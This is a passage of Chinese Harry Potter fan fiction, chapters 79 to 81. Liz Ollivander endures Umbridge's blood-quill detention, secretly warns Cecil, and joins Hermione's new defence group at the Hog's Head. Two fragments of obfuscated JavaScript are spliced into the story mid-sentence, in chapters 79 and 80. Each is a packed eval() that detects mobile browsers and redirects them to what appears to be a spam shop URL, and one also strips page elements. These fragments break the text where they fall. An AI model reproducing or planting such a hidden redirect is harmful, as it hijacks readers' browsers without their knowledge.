大多数的咒语都来自卢平教授留下的教案,都是基础的黑魔法防御魔咒,既然没有一个可靠的大人来给学生们讲授咒语的实操方法,她也没办法将她心里的想法变成人人都能理解的道理,莉兹认为设计一个没有门槛的游戏会是个好主意。乔治和弗雷德是她脑海中出现的第一个同伴,皮皮鬼则是一个意外,如果她没有在去图书馆的路上凑巧听见乌姆里奇在和费尔奇询问关于皮皮鬼的事情的话,她也没办法那么顺利就找到与这个捣蛋鬼合作的契机。 同样的朋友不会促成一个同盟的诞生,但是同样的敌人可以。 托这个游戏的福,死气沉沉的霍格沃茨再次变得活跃了起来,大家逐渐开始期待在经过楼梯或者走廊的时候碰到新的道具,枯燥的咒语练习也变成了游戏的一关。 就和没有人知道这场游戏是如何开始的一样,没有人知道究竟是谁将莉兹的名字送给了乌姆里奇,不可能是乔治,也不可能是弗雷德,更不可能是皮皮鬼,同学们压根就没想过这一切会和那位傲慢的米歇尔二代有关。莉兹起初也思考过是什么地方出了纰漏,班克受伤的左翅膀让她瞬间明白了一切——她与塞西尔的信件曾被截过,罪魁祸首自然不必明说。 乌姆里奇,哦不,魔法部的慌张反而令她安心,至少他们想针对谁,现在的莉兹是一清二楚了。 不过她还是觉得自己对一个人有些抱歉,毕竟罗杰·戴维斯强调过那么多次不要给拉文克劳惹麻烦,但是她,莉兹·奥利凡德还是成为了学院历史上唯一一个正式被关禁闭的级长,事发之后旁人的视线也不总是友善,仿佛她的背上被贴了一张“我有罪”的纸条似的。 禁闭日的第一天,晚餐一结束戴维斯竟在礼堂门前叫住莉兹:“我想弗立维教授会愿意帮你说情的。” “还以为你是来责备我的。”莉兹心里一阵意外。 “我不认为你做错了,”戴维斯看向别处,“我就是……总之你那聪明的脑袋就想不出不让自己吃亏的办法吗,老实受罚可太不像你了。” “我和弗立维教授沟通过了,”莉兹脸上出现了一抹笑意,“所以你就不要用你普通的大脑揣测天才的想法了。” “梅林啊我太讨厌你了——”戴维斯连连摇头。 “没关系,我也不是很喜欢你,”莉兹这下是真的笑了出来,“不过还是谢谢你的关心。” 深吸一口气,戴维斯没再说出任何话,而是按着眉心转身走向了楼梯,莉兹站在原地,乔治走上前来低声询问:“不需要我们的护送吗,小古板女士。” “又不是上刑场,”莉兹轻轻推开乔治,“我只是为了知己知彼。” 79. 没必要被理解 几乎没有人会讨厌一只猫,这似乎是举世公认的道理,因为哪怕是费尔奇身边的洛丽丝夫人,莉兹看到她在角落舔毛的时候都会停下来看一会儿,那毛茸茸的模样确实是可爱的。但此时此刻,当她走进这间办公室的一瞬间,映入眼帘的那一个个花哨的瓷盘子上都有一只颜色艳丽的猫咪,它们的脖子上系着同色系的蝴蝶结,同时动起来的时候,让人不禁有点脊背发凉。 坐在办公桌前的乌姆里奇换了一身火鸡羽毛色的长袍,摘掉了白天戴着的那个夸张的蝴蝶结丝带,她挥舞着魔杖,面前的茶壶悬浮在空中,一只红茶杯飞到莉兹面前,她装作一副亲切可人的模样,好像只是请学生来办公室坐坐似的。 莉兹伸手接住红茶杯,而后带上了门走到了桌前,她才放下杯子低头就看到了一只伸缩耳,是从门缝下钻进来的,保持着镇定,她小心翼翼地用巫师袍挡住了它。 “哦,不要客气,请坐下吧,我只想和我亲爱的学生们成为好朋友。”在乌姆里奇说话的同时角落里的一张扶手椅滑到了莉兹身后,椅子腿撞到了她的膝盖,强迫着她跌坐在椅子上。 “谢谢您,乌姆里奇教授。”莉兹的嗓子有点沙哑,听起来稍有些紧张不安,她听到了乌姆里奇的魔杖在发出奇特的声响,其实她猜想过这可能会与那些食死徒的声音差不多,毕竟邪恶的声响她并没有接触太多,但现在她只听到了那之中有着残忍、虚伪又冷酷的东西,而那些都和黑魔法完全无关。 “我从别的教授那里听说了大名鼎鼎的奥利凡德小姐这些年优异的表现,况且你的OWLs成绩也是七年级里独一份的亮眼……” 不明所以的恭维话语让莉兹搞不明白对方的用意,她看着乌姆里奇在自己的茶杯里加了四大勺糖,喝了一口觉得还不够,又加了两勺,光是想象一下那个味道,她就忍不住胃里一阵翻涌,但是乌姆里奇的视线又像是黏在自己的身上似的,莉兹不得不忍着不适抬起头来,尽量去听她到底在说什么。 “……你是一个懂事的姑娘,和那些胡闹的家伙们不一样,我希望你在这份保证书上签完字之后,亲手回收那些册子,一本不少地都送到我这里,并且将收到册子的学生姓名一起写在这里。” 摆在眼前的是一份只空着签名的保证书,和一份空白的羊皮纸卷,还有一支笔头生锈发黑的羽毛笔,莉兹突然觉得这一切都有点滑稽,仿佛人生中第一次有个大人将她看作是真正的孩子,连智商都被当作了幼童一般。如果乌姆里奇面对的是一个足够与她势均力敌的成年人,她想她是不会忘记在谈判的时候加上自己的条件的,否则那就不是谈判了,而是单纯的威胁罢了。 只是“威胁”对什么样的人会有效果呢,对毫不在乎他人评价与物质性奖励的自己来说,什么样的“威胁”才有价值呢,看来这位来自魔法部的官员完全不明白。 “教授,我想您对我可能有点误解。”莉兹拿起那支羽毛笔,铺开那张空白的羊皮纸,将笔头伸进桌角的墨水瓶里,接着写下了一个人的名字——伊丽莎白·加里克·奥利凡德。 第一个字母写下的那一刻,她感觉到手背上有被猫爪挠过一般的疼痛,接着是第二个字母,等到一串完整的带着教名的全名写完之后,手背上赫然出现了同样的红色印记,而那正是莉兹的全名。 乌姆里奇冷哼两声站起身,她走到了莉兹身后,抽走了保证书扔进了燃烧起的壁炉中,接着就这样低头看着她,悠悠地说着:“既然奥利凡德小姐执意如此,那就用你的名字填满这张纸好了,多么好的名字啊,想必你的父母对你的期望应该很高吧。” 提及父母的瞬间,莉兹握着笔的手很明显僵住了两秒,她一脚踩上被她藏起来的伸缩耳弯腰将它收进袖子里,接着向后瞥了一眼,没有再说任何话,而是准备再去蘸取墨水。 “不需要的,这支笔不需要墨水的,奥利凡德小姐你应该也发现了。”乌姆里奇轻轻按住她的手,身上浓烈的香水味熏得莉兹眼睛都发酸,“做不成好孩子的话,坏孩子就应该接受惩罚,而我总会得到我想要的,我其实要的不多,你很清楚我需要的是什么名字。” 羊皮纸卷好似被施过无限延展咒语,无论莉兹如何向下挪动,空白的面积都没有变小一点,手背上的痕迹越来越深直到渗出血来,宵禁的钟声也在此刻敲响,乌姆里奇接过了那张纸,微笑着摇了摇头:“明天可要再加把劲啊,还有两天呢。” 莉兹一言不发地阴沉着脸将椅子推开,甚至没有礼貌地与教授道别,而是把那只写字的左手紧紧攥成拳接着又松开。她一直在想乌姆里奇强调的名字是什么,很显然哪怕是让全霍格沃茨的学生都退学也不能让她在魔法部部长那里捞到一点好处,那么她需要的是……想到这里,莉兹在门前站定,盯着门上的“多洛雷斯·乌姆里奇”,攥着拳的左手抖了抖。 “你可吓坏我们了!”乔治跟弗雷德从楼梯拐角的地方窜了出来,他们手里牵着孤零零的一只耳朵。 “里面的声音突然就没了,我还以为……”弗雷德弯下腰压低了声音,“你对那个老·□□做了什么。” “不过就算真做了什么也没关系,你把我们俩供出来,我们跟你一块儿退学就行,魔法部总不能真把学生关进阿兹卡班吧。”乔治轻轻一推旁边的弗雷德,让他别靠得太近了。 “我们成年了,我们都会被关进阿兹卡班的。”莉兹面无表情地回答着。 “梅林啊,她还真要把人送进阿兹卡班?”弗雷德吃了一惊。 “我在开玩笑。”莉兹无声地叹了一口气。 “你的脸色一点儿都不像是在开玩笑,”乔治轻轻用指节蹭了蹭她的脸颊,就算夜间起风也不至于会变得如此冰冷,她像失了血色似的,“你真的还好吗?” “这个程度我还能应付,”莉兹让了半步,两手揉了揉脸,“总之你们把东西藏好,道具没收了还能再做,但是店铺设计图和账本,我不知道她能不能让魔法部提前查封了你们看下的铺子,但目前来看,这个疯子也不是不会这么做……” 从她抬起手的那个时候,乔治的注意力就完全不在她说的话上了,手背上的血渍显眼,他几乎没犹豫就握住了她的手腕,表情也变得与平时完全不同。 “你能应付的是什么程度,这个吗?”乔治指着伤口问道。 “我去找庞弗雷夫人要点白鲜香精就没事了,”莉兹耐下性子来回道,“你们应该知道,我当初找你们帮忙的时候就说过,虽然我把我做的事情称作是一场游戏,但我没有说它真的只是游戏,我没有做好更多的备案是我失误,所以现在这个程度是在我预料之中的。” “莉兹。”乔治又开口。 “嘿,”莉兹打断他,在楼梯上停下,确认了上下左右都没有人之后,她看向他们,“外面到底在吹什么风,我们不是感觉不到的,他们既然能送一个疯子进来,我就不会觉得自己是在和她过家家。” 她说着深吸一口气又顿了顿:“何况她认为靠这个就足够威胁到我们,你不觉得很生气吗,他们好像认为我们只是孩子,擦破一点皮就会哭着回去找妈妈。” “那你接下来准备怎么做,”弗雷德把乔治直接拉到身后,“还要接着玩下去吗?” “我是不会放弃游戏的,不过我的身份曝光之后应该会有很多人拒绝参与,我不是那么受欢迎的家伙。给我一点时间,总能想出解决的办法……”莉兹思索了一下,“只是目前我得先准备魁地奇比赛,距离第一场比赛只剩下不到三周了,没错,格兰芬多安排在了后一周,所以你们还有一个月。” 兄弟俩不敢相信这句关于魁地奇比赛的话是从莉兹嘴里说出来的,乔治伸手在她眼前晃了晃:“你确定你没有被下夺魂咒吧。” “没和你们开玩笑,”莉兹把袖子里的伸缩耳拿出来塞回乔治手里,“总不至于蠢到被抓了一次之后立刻再给她抓我的机会,我又不是那个波特小子。” “是啊,连着关了两周禁闭给安吉丽娜气得不行。”弗雷德附和道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487867|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “总之发生什么我一定会告诉你们的,我一个人做不了这么多事,需要你们帮忙。”莉兹说罢加快了脚步奔上楼。 站在楼梯下的两人面面相觑,弗雷德歪过头疑惑地嗯了一声,而后问道:“小古板女士以前有这么好说话吗,还是真把我们当‘好朋友’了?” 他还抬手用食指比了一个引号,一下就听出了兄弟是在挖苦自己,乔治别过脸去没再搭理弗雷德,他有些懊恼地把伸缩耳丢进口袋里,埋下头走上台阶。 带着满肚子的思绪回到拉文克劳公共休息室门前,莉兹随口回答了门环提出的问题,跨进门的时候她还在思考着,目前唯一能够确定的就是自己的通信确实被人监视着,魔法部关注的不会是她这个学生,被盯上的只能是塞西尔,那么切断与塞西尔的联系是必要的,可学校里发生的事情总要传出去,总要让人知道这一切。 “宵禁时间已经过去三十分钟了。” 公共休息室里突然响起了说话的声音,冷不丁吓到了莉兹,她就着微弱的烛火看清了对方的脸,竟然又是罗杰·戴维斯。 “你是在这里监督我有没有按时回寝室吗?”莉兹放松下来。 戴维斯将手里的一台收音机藏在了身后,他也是刚刚从外面回来,躲在了费尔奇房间旁的角落偷听了很久的魁地奇电台节目,他清了清嗓子:“你知道奥利弗上了杰姬的节目吗?” “每日魁地奇?”莉兹反问,“这有什么稀奇的吗?” “每日魁地奇早就开除了杰姬,”戴维斯翻着白眼,原来无所不知的莉兹也有消息滞后的时候,“这是她自己的地下节目。” “所以?”莉兹不明白他想表达什么用意。 “我真是不能理解你们,宁可牺牲前途,”戴维斯撇着嘴,“你在这里和魔法部对着干,他在那里和魁协对着干,你们到底想做什么!” “我也不懂你,罗杰,”莉兹抬起头,“你如果认为自己做的都是正确的,你为什么要从我们这里获得认同呢,没有人说你错了,你就这样度过你的校园生活,到底有什么不满足的。” “莉兹,”戴维斯的脸气得通红,“你别怪我没提醒你。” “我不会怪你,”莉兹微微笑起来,“真奇怪,你为什么觉得我会怪你,我又不认为我做错了,何况你不是也觉得我没错吗。” 戴维斯一阵失语,两个人就这样分头走开,莉兹刚一推开寝室门,秋便起身走过了过来,她一脸的担忧,因为同寝室的帕德玛在课上看到了乌姆里奇是如何训斥波特和其他格兰芬多学生的,她不知道被当场罚了禁闭的莉兹会经受什么样的事情。 “莉兹你还好吧,她罚你做什么了吗,打扫盥洗室还是储藏室?”秋焦急地询问,让一旁的玛丽埃塔看了心里很不是滋味。 “都没有,她就是让我交待人名而已,”莉兹脱下巫师袍挂在床边,“我又不知道有多少人拿到了册子,那玩意儿又不用署名。” 听到了这句之后,玛丽埃塔才放下警惕加入了对话:“那你怎么办呢?” “我说我不知道,她就让我罚抄校规,明天继续。”莉兹装作没事人似的挡住了手背的伤疤,“你们明天早上第一节不是斯内普的课吗,帕德玛都睡了,我也困了。” 贴心的秋明白莉兹这是不愿再多谈的意思,自然没有再问下去,她拿出了米拉尼尔晚上送来的那封信,轻手轻脚拉开床帘的一角,递过去小声说着:“是奥利弗寄来的,我帮你先收了……天呐。” 还没说完,她立刻捂住自己的嘴,那手背的伤口实在骇人,知道瞒不住的莉兹无奈地将秋拉到床上,挥了两下魔杖,让说话声不会透出去。 “我的柜子里有白鲜香精。”秋说道。 “那拜托你了。”莉兹没有拒绝秋的关心,只是在药剂流过手背时咬紧了牙关。 “没关系,你之后再告诉我就好。”秋将纱布贴好,“我说过会一直站在你这边的。” “谢谢。”莉兹低下头,鼻子微微发酸。 80. 同伴的出现 让人安心的是,即便乌姆里奇在现有的校规中增添了许多毫无意义的条款,三年级以上的学生去霍格莫德的日程依然没有改变。 上午的第一节课结束,走廊上聚集的学生们越来越多,莉兹将怀里的课本抱紧了一些,然后不自觉又挠了挠手背尚未完全愈合的伤疤。浸泡了白鲜香精勉强长出一层粉色的嫩肉,在一次又一次的书写中被重复撕开。面对着秋担忧的视线,她很庆幸乌姆里奇那家伙没有让她写什么“我做错了”之类的句子,至少现在留下的只是自己的名字。 早知如此就不写全名了,字母可真多。 看着公告栏角落上贴着的那张纸,莉兹的心情变得没有那么糟糕了,现在她总算可以在信里告诉伍德,他们能在什么时候见上一面,她想听他说说杰姬的节目还有前段时间的那场比赛。 兴许是受到了英魁协的影响,《魁地奇速报》上几乎看不到任何关于联赛制度改革的消息,每周能看到的都是一些不痛不痒的比赛集锦与赛程预告。海外联赛的板块甚至被取消了,取而代之的是魁协主席亚克斯利的个人寄语,还有选手红黑榜,以比赛中的精彩表现与违规次数作为主要参考,赛场外的一言一行似乎也被纳进了评判标准。 因为新一期的黑榜上,赫然列着普德米尔联队的奥利弗·伍德与霍利黑德哈比队的莱莉·塔克,而他们非常凑巧都在上一周出演了杰姬·史密斯的电台节目“魁地奇之夜”。 若不是戴维斯提醒,莉兹差一点忘记除了《魁地奇速报》,她还有另一种方式可以了解魁地奇的情报,所以那天之后她在行李箱里翻出了那台许久未用的收音机,守着开播的时间,听了一期完整的节目。杰姬的言辞犀利,将那些新规定条条拆解,剖析得透彻,莉兹听得津津有味,将它作为了一个新的宣泄口。那个瞬间,她觉得自己好像身边站了许多人,他们和她都走在相同的道路上。 出于谨慎,莉兹在回信中没有与伍德提到任何约会无关的字眼,只是趁着天色渐暗来到了猫头鹰棚屋,她把信封用咒语封好,而后又低声念出了“呼神护卫”,一只四肢瘦长的猎狼犬便跟随着高高飞起的米拉尼尔一起消失在了霍格沃茨的上空,在天际线上凝成一颗如同星星一般的点。 “你会守护神咒!哦,我早该猜到你也会的,我应该想到的。” 夜色中突然响起的说话声让莉兹应激地举起了魔杖熄灭了棚屋里的照明,同时后退了两步把自己藏进黑暗里。 对方很快再次开口解释道:“抱歉,我没有任何恶意,我是赫敏,昨天我们在级长会议上见过的,你以前也帮过我,还记得吗?” 赫敏一边说着一边点亮旁边的蜡烛,晃动的暖色慢慢融化着莉兹冷漠而戒备的银色双眸,她紧绷的身体逐渐放松,拿着魔杖的手也放下,从猫头鹰群中一步一步走出来,头顶还落着几根羽毛。 “我想你并不是来这里借用猫头鹰的?”莉兹看到了赫敏背着一个大大的布包,里面塞满了各式各样的彩色毛线织成的帽子。 “是这样的,我正在致力于为保护家养小精灵的权益做点什么,目前我们的协会名称是家养小精灵权益促进会,已经吸纳了一些会员,”她将包里的一包金属徽章翻出来,还有一个装着几枚银西克的铁罐子,“至少我能先让他们从奴隶身份中解放出来,这应该不算难,所以你要加入吗?” 莉兹眨了眨眼接过了那个刻着S.P.E.W的徽章,没能立刻回答,因为她想起开学时这个姑娘念叨的话,确实看起来很像是会做出这样的事情都人,但是从执行手段上来看,似乎又透着点青少年的天真。 这段沉思很快被赫敏叫停,同样留着一头乱糟糟卷发的姑娘并不在乎有没有得到想要的回应,赫敏眼神里闪过一瞬的光芒,她好像想到了什么似的开口道:“我也听说了你被那个女人关禁闭的事情,我很喜欢你做的咒语书。” 同时将那个巴掌大的小册子从斗篷内袋里拿出,她说:“咒语的讲解简单易懂,绘制的动图更是清晰,我从未见过这样精良的教材,而且通过定位魔法进行信息传递的方式也给了我很多灵感。” 一连串的夸奖让莉兹更是摸不着头脑,她微微皱起眉头:“如果有什么话,你可以直接说的。” 被看穿的赫敏抿起嘴笑了笑,她将几顶帽子放在棚屋的角落,希望有家养小精灵来打扫的时候能捡到,然后抬起头来看向莉兹:“那我直接说了,我不想坐以待毙,永远等待着危机上门,所以我们应该找到自己学习黑魔法防御术的途径,建立一个自己的队伍。” 这番话足够引起多大的问题,莉兹现在再明白不过了,她小心翼翼看向了门外,挥了挥魔杖施下一个防窃听咒之后,才提醒道:“你应该很清楚我在外的名声,我并不是那种值得被信赖的角色,不会像你那位波特小子一样,举世瞩目。” 卷发姑娘没有被莉兹这略微带刺的语气劝退,反倒是昂起头来:“所以抛头露面的事情都可以扔给哈利,他可以是那种角色,但我最想问的是,你愿意和我们站在一起吗?” “波特同意了吗?”莉兹打趣地摸着口袋,没有直接说出愿意,而是数了几个银西可出来,丢进赫敏怀里的铁罐子,然后轻笑了一声。 “我会让他同意的,这不是什么困难的事情。”赫敏举起罐子,“谢谢你的支持,我计划下个周末在霍格莫德的猪头酒吧举行第一次聚会,我会等你来的。” 莉兹摆了摆手,示意自己听见了,快步下楼时她还不忘将台阶照亮,她心想着自己可能从一开始就想错了,醒来的人从来不是少数,只是自己从没有想过身边会有同伴而已。攥着那枚徽章,她在走廊上与乌姆里奇擦肩而过,女人的袍子后边系着一个大大的蝴蝶结,飘带在身后甩来甩去,她突然清了清嗓子,不知是不是在提醒学生应该向她行礼。 可是快步着的莉兹只像是没有听见似的一头扎进图书馆,秋和玛丽埃塔坐在靠窗的桌子上,和他们隔了几桌的便是波特和韦斯莱家的那个小子,赫敏在莉兹之后也走了进来,仿佛两个人刚刚的对话并没有发生过似的,她径直走向波特他们,放下一本厚厚的教材,开口询问着两个男生的论文进展到哪一行了。 在书架前愣了几秒,莉兹将看完的两册《咒语解析大全》放回架子上,然后随手拿了另一本讲炼金术历史的参考书,走到了秋身旁坐下。 “你有没有听说那件事?”玛丽埃塔不等莉兹把空白的羊皮纸压平,便开始了她的播报。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487868|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哪件事?”心情还不错的莉兹难得搭了话。 “哦梅林,就是那件事啊,”玛丽埃塔的用眼神示意着她们身后的哈利·波特,“他说要教我们如何使用黑魔法防御魔咒,我听他的好朋友,那个卷头发的女孩说的。” “我准备去看看,”秋是唯一知道莉兹先前全部计划的人,她看向她说道,“我们不能放弃,对吧?” 莉兹应声,眼神瞥了一下玛丽埃塔,她可没有秋那么信任这个大嘴巴,只是又点了点头,然后附和说:“我应该也会去看看。” “哎呀,你们都去啊……”玛丽埃塔面露难色,“你们就不害怕那个老家伙么,我可不想被关禁闭,但是如果你们都要去的话,我也不想被抛下。” 冗长的碎碎念消磨着莉兹的耐心,她懒得继续搭理她,而是翻开了参考书,在羊皮纸上写下了论文的标题,这些日子光顾着忙其他的事情,作业竟被拖到了截止前一天,这对她来说也是不常见的。 这日凌晨附近,一只闪着微光的俄罗斯猎狼犬出现在了塞西尔的身后,她迈着虚浮的步伐走在空无一人的泰晤士河畔,手里拿着一个空酒瓶,和她过去的每一晚一样,混沌的大脑总能给她带来别样的安全感。猎狼犬的绕着她转了两圈,她才意识到有什么不对劲,在原地站定,努力睁大眼睛试图看清眼前的东西。 陌生的守护神引着她拐进一条深深的小巷,昏暗且安静,只有风声裹着落叶,她追上去,猎狼犬盘旋着变成一团光,而后一张纸片落在地上。 刺海胆 虫合虫莫入侵了水域。 一颗毛栗子 巧妙的昵称让塞西尔笑出声,聪明的姑娘常能做出一些可爱的事情,哪怕是在传递危险的消息上,而当莉兹的面孔在脑海出现的一瞬间,纸片上的字体扭曲着变了形,很快长段的手写体浮现出来,原先的三行字便消失了。 亲爱的塞西尔 原谅我只能用这个办法和你联系,班克被乌姆里奇截下了,她读过了我们之前的通信,我不能保证她究竟读过了哪些,但我确认了我们并没有提到什么不能说的事情。 不过为了以后的安全,我想我短时间内不会再给你写信了,这封信你读完也会自燃的,所以不用担心。 三日禁闭没有对我产生什么影响,她找不到把我赶出学校的借口,可是魔法部显然没有放弃怀疑你,尽管我不知道他们针对你是为了什么。 总之接下来的日子里我也许会做一些危险的事情,但我会计划好所有的事情,不会再重蹈覆辙。 然而你一定会支持我的,我知道。 永远爱你的莉兹 纸片在塞西尔的手心燃起,她丝毫不觉得烫手,盯着留下的一团黑,她再次笑了,那些父亲无法带给她的,哥哥没有向她展现的,莉兹都向她展示出来了,被她看着长大的姑娘用她也很难熟练使用的复杂咒语护着她的周全。十几年来这是第一次,塞西尔察觉到自己胸口的空洞,被填补起了一点。 同一时刻,西里斯对她说的话也猛然间响起,他攥着那面时时刻刻不离身的镜子,看向里面不会出现的身影说:“你发现了吗,活在过去的人需要一个现在的锚点,我们都需要一个。” 81. 一封参战书 兴许是那晚莉兹与戴维斯的对话起了什么作用,总而言之自那以后他们二人似乎成了陌生人一般,他不再像过去六年一样时不时与她作对,只是一股脑儿将自己埋进课业、魁地奇与学生会的事务中。 在乌姆里奇的影响下,级长会议的自主权几乎丧失,她经常在会议中途突然出现在会议室里,任意翻阅每个级长手里的计分册。戴维斯感受到了其他人对他这个主席的埋怨,却只能装出一副感谢教授的模样,而梅根的态度则是截然不同,尽管她本就看起来不好相处,眼里那种刺人的冷漠总是让戴维斯想起过去的莉兹。 同样的事情发生了两次之后,梅根向乌姆里奇提出了霍格沃茨的学生会是学生自治的组织,独立于校董会与教委会,希望能够得到足够的尊重。戴维斯站在她旁边时,所有的注意力都在乌姆里奇办公室的那些猫咪上,因为他觉得这个女生说的每句话都令人心惊胆颤,再听下去他就要当场昏倒了。 交流全程,乌姆里奇的脸上都挂着僵硬的微笑,她的和善掺杂着威胁,戴维斯很害怕下一个在手背上留下伤疤的人会是自己。 谁料她只是听完了梅根的报告,而后在他们离开之前又补充问道:“梅根小姐,你先前说过你父亲的名字是?” “鲁弗斯·斯克林杰,请问有什么问题吗,乌姆里奇教授?”梅根转过身面无表情地回答。 “哦,没有,当然没有了,你的意见我会考虑的,身为女生主席,你的父亲一定非常骄傲。”乌姆里奇僵硬的笑容竟柔软了一些。 “我想是的,”梅根推开办公室的门,“那么我们应该去巡逻了,教授晚安。” 很显然,那晚的巡逻对戴维斯来说并不好受,他在想是不是只有他一个人感觉到了束手束脚,他无法豁出去变成一个行为乖张的叛逆学生,他更没有在教授面前谈条件的家世,明明已经极力做好每件事了,但看起来却像一件事都没做好。 拉文克劳这一周的魁地奇训练排到了周五下午,清晨落了雨,球场的沙地与草坪湿漉漉的,午后从云里钻出的太阳仿佛是个摆设,莉兹比其他人早到了一小时,等到戴维斯扛着训练球过来时,结束了自主训练的她才缓缓落地,想来她一个人的训练强度一定足够可观,毕竟她的裤腿和球鞋被泥泞的地面搞得脏兮兮的,秋日里的冷风也没能吹干她额角的汗水。 秋招着手让她过来,莉兹注意到了戴维斯的视线,对方又将头偏向一侧,于是她便像没看见似的,快步跑到秋身边,她们两人的心情看着很不错,站到一块儿就喋喋不休聊了起来,惹得无比烦躁的戴维斯不得不用力地咳嗽去打断她们。 与此同时所有队友投射来的目光让戴维斯一时间僵在原地,他不知道自己是怎么在距大的轰鸣声里对着大家说出训练安排的,更不知道自己是怎么骑上飞天扫帚飞上天空的。只记得一眨眼夕阳的余晖便落在了肩头,他被日落刺了眼睛,耳鸣声随之停止,莉兹的双眼在那道光芒之后,平静而戏谑。 训练结束,秋示意看台的玛丽埃塔下来一起去礼堂,她们一边走着一边偷偷向后看,莉兹打着呵欠跟在后面,她听见玛丽埃塔小声问:“罗杰是不是有点儿不太对劲?” “我想他可能只是太累了,”秋说道,“听说他为了N.E.W.T考试选了六门课。” “七门,”莉兹开口,“他还选了草药学。” “梅林啊,我去年拿到六门课的O.W.Ls证书已经很吃力了,”玛丽埃塔感叹说,“我不敢想象接下来继续上七门课会有多累。” “想申请魔法部的岗位至少需要通过五门N.E.W.T考试,所以可以理解他会选七门。”莉兹似乎对这个话题没什么兴趣,念叨了两句便没再接话,只是听着前面的两个人在聊明天聚会的事情。 上午变形学课时,乔治和弗雷德迟了十分钟才进教室,麦格教授罚他们抄写十遍课本这一章第三节的内容,俩人打着哈哈说着对不起在莉兹后一排坐下,乔治还给她扔了团纸过来,打开看到上面提到了具体的时间,他约她到时候一块儿去霍格莫德。 不过莉兹拒绝了,她要先到德维斯和班斯商店去一趟,让店老板帮她留封口信给伍德,这样乌姆里奇就不会发现她没有直接去和男友奥利弗·伍德约会,而是参与了格兰杰提起的活动,这对那个姑娘和她自己都安全。 隔天一早天朗气清,难得一见的好天气,秋风干燥而清冷,吹散了莉兹胸口那团郁结的乱麻,她也说不明白这是什么感觉,只是觉得对一个英国人来说好天气应该带来好心情,但她没有感觉到。 一夜的梦抽干了她的精力,让她的太阳穴隐隐作痛——她梦见到处都燃起了大火,她梦见高高天文塔楼陷落,她梦见有人尖叫,她梦见空无一人的对角巷,掉落的招牌与破碎的橱窗。 钻出被子,莉兹潦草地套上一条羊毛呢连衣裙,不顾皮靴的鞋带穿错了孔,她提上靴筒就轻手轻脚先出了寝室。早起为了赶去霍格莫德村的学生看来不止她一个人,穿过走廊时,费尔奇跟前已经排着好些人,他们将监护人同意书一张张递到他手里。端坐在板凳上的洛丽丝夫人摆动着尾巴,一副很不耐烦的样子,排到莉兹的时候,她又凑上来嗅了嗅她的斗篷口袋,似乎对那里头的东西很感兴趣。 “不,你不能吃。”莉兹见费尔奇已经检查完了同意书立刻一把抽回来,然后攥着斗篷下摆跑开,洛丽丝夫人跳下板凳冲着她的背影叫唤了两声。 这满兜的太妃糖饼干可是她今天上午的口粮,况且猫咪可吃不了这些。 把封好的信笺留在德维斯和班斯商店,莉兹出了店门拐进了一条小路,她将一块饼干塞在嘴里,踩在那些被雨水洗刷出纹路的石砖上。有了先前的经验,她没有用手碰锈迹斑斑的门环,而是挥了一下藏在斗篷里的魔杖,猪头酒吧这扇破旧的木门缓缓打开了。 一进门她看了一眼墙上的钟,在其他人来之前她完全来得及喝完一杯热可可,不过蒙了一层灰的吧台和昏暗的卡座让她很快打消了这个念头,她在靠窗的桌旁坐下,那里看起来像是刚刚擦过。 下意识转身去看上次和塞西尔一起坐的位置,那里坐着一个胡子拉碴的男巫师,仅仅是一瞥的功夫,他便抬眼看回来,谨慎的莉兹立刻背过身去,而那个男人则是从老板阿不福思那里接过了一瓶白兰地,而后依然目不转睛盯着莉兹。 不一会儿又进来了一个裹着头巾的女巫,她也被那个男人吓了一跳,正要逃跑的时候男人一声轻咳,女巫便收回发着抖的手也在那张桌坐下。 说来奇怪,莉兹实际上没有从对方的注视中感觉到不适与恐惧,她甚至觉得那双眼睛有点眼熟,就像她一直觉得自己好像在哪儿见过猪头酒吧的老板,于是她花了两个银西可买了一瓶未开封的姜汁汽水,一边喝一边吃完了口袋里大半的太妃糖饼干。 随着一阵嘈杂声,店门再次被打开,一个顶着一头乱蓬蓬发型的眼镜男孩走进来,他东张西望的样子有点慌张,还压低了声音跟他的两个同伴说着什么,说到一半时莉兹听见有人在叫她。 “这太好了,莉兹你真的来了,我试着多联系了一些同学,我希望他们也都会来。”赫敏一脸的惊喜,整个人也像是松了一口气,她似乎并不认为自己的邀请是有效的,“这是哈利,还有罗恩,哦不过我觉得你们应该都是认识的。” 私下里与莉兹没什么接触的哈利只知道她是秋·张身边的几个女朋友之一,而罗恩则是有点儿不好意思,他挠着头打了个招呼。 “是的,我知道的,我们不是禁闭二人组吗?”莉兹先看向哈利,打趣着先缓和了气氛,而后看着罗恩说,“安吉丽娜说你打得不错,恭喜你加入校队。” 这句“禁闭”在哈利听来可不像什么玩笑话,他尴尬地移开目光拉着罗恩两个人走到了吧台边留下赫敏一人,他搞不懂她为什么连高年级的学生都找来了,也不知道她究竟叫来了多少人。 没过几分钟他就在花白胡子老板的脸上读到了人数,因为整个酒吧在接下来的十几分钟里被近三十个不同年级不同学院的霍格沃茨学生塞满了,店里甚至没有足够的椅子让所有人都坐下。乔治与弗雷德还有李·乔丹三人将二十多瓶黄油啤酒分给大家,接着站在了边上,还有比他们还要早到的莉兹·奥利凡德,她也起身将椅子拉到了中间来,只是她没再坐下,而是走到了乔治身旁,两个人笑着在说话。 